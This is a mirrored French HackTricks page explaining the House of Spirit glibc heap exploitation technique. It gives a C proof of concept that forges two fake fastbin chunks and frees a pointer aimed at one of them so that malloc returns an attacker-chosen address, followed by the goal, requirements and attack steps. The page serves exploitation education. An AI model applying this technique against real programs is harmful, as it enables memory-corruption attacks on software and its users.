mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 05:03:35 +00:00
100 lines
4.3 KiB
Markdown
100 lines
4.3 KiB
Markdown
|
# Maison de l'Esprit
|
||
|
|
||
|
<details>
|
||
|
|
||
|
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||
|
|
||
|
Autres façons de soutenir HackTricks :
|
||
|
|
||
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||
|
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
|
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
|
||
|
</details>
|
||
|
|
||
|
## Informations de base
|
||
|
|
||
|
### Code
|
||
|
|
||
|
<details>
|
||
|
|
||
|
<summary>Maison de l'Esprit</summary>
|
||
|
```c
|
||
|
#include <unistd.h>
|
||
|
#include <stdlib.h>
|
||
|
#include <string.h>
|
||
|
#include <stdio.h>
|
||
|
|
||
|
// Code altered to add som prints from: https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit
|
||
|
|
||
|
struct fast_chunk {
|
||
|
size_t prev_size;
|
||
|
size_t size;
|
||
|
struct fast_chunk *fd;
|
||
|
struct fast_chunk *bk;
|
||
|
char buf[0x20]; // chunk falls in fastbin size range
|
||
|
};
|
||
|
|
||
|
int main() {
|
||
|
struct fast_chunk fake_chunks[2]; // Two chunks in consecutive memory
|
||
|
void *ptr, *victim;
|
||
|
|
||
|
ptr = malloc(0x30);
|
||
|
|
||
|
printf("Original alloc address: %p\n", ptr);
|
||
|
printf("Main fake chunk:%p\n", &fake_chunks[0]);
|
||
|
printf("Second fake chunk for size: %p\n", &fake_chunks[1]);
|
||
|
|
||
|
// Passes size check of "free(): invalid size"
|
||
|
fake_chunks[0].size = sizeof(struct fast_chunk);
|
||
|
|
||
|
// Passes "free(): invalid next size (fast)"
|
||
|
fake_chunks[1].size = sizeof(struct fast_chunk);
|
||
|
|
||
|
// Attacker overwrites a pointer that is about to be 'freed'
|
||
|
// Point to .fd as it's the start of the content of the chunk
|
||
|
ptr = (void *)&fake_chunks[0].fd;
|
||
|
|
||
|
free(ptr);
|
||
|
|
||
|
victim = malloc(0x30);
|
||
|
printf("Victim: %p\n", victim);
|
||
|
|
||
|
return 0;
|
||
|
}
|
||
|
```
|
||
|
</details>
|
||
|
|
||
|
### Objectif
|
||
|
|
||
|
* Pouvoir ajouter une adresse arbitraire dans le tcache / fast bin afin qu'elle soit utilisée dans un chunk lors de l'appel à malloc
|
||
|
|
||
|
### Exigences
|
||
|
|
||
|
* Cette attaque nécessite qu'un attaquant soit capable de créer quelques faux chunks rapides en indiquant correctement la valeur de leur taille et de remplacer un chunk rapide de cette taille qui va être libéré, de sorte que le chunk de l'attaquant soit celui qui entre réellement dans le fast bin.
|
||
|
|
||
|
### Attaque
|
||
|
|
||
|
* Créer un faux chunk qui contourne les vérifications de sécurité (vous aurez besoin de 2 faux chunks)
|
||
|
* Avant qu'un pointeur ne soit libéré, le remplacer par le faux chunk afin que celui-ci soit celui qui entre dans le bin
|
||
|
|
||
|
## Références
|
||
|
|
||
|
* [https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_spirit](https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_spirit)
|
||
|
|
||
|
<details>
|
||
|
|
||
|
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
|
||
|
Autres façons de soutenir HackTricks:
|
||
|
|
||
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||
|
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
|
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
|
||
|
</details>
|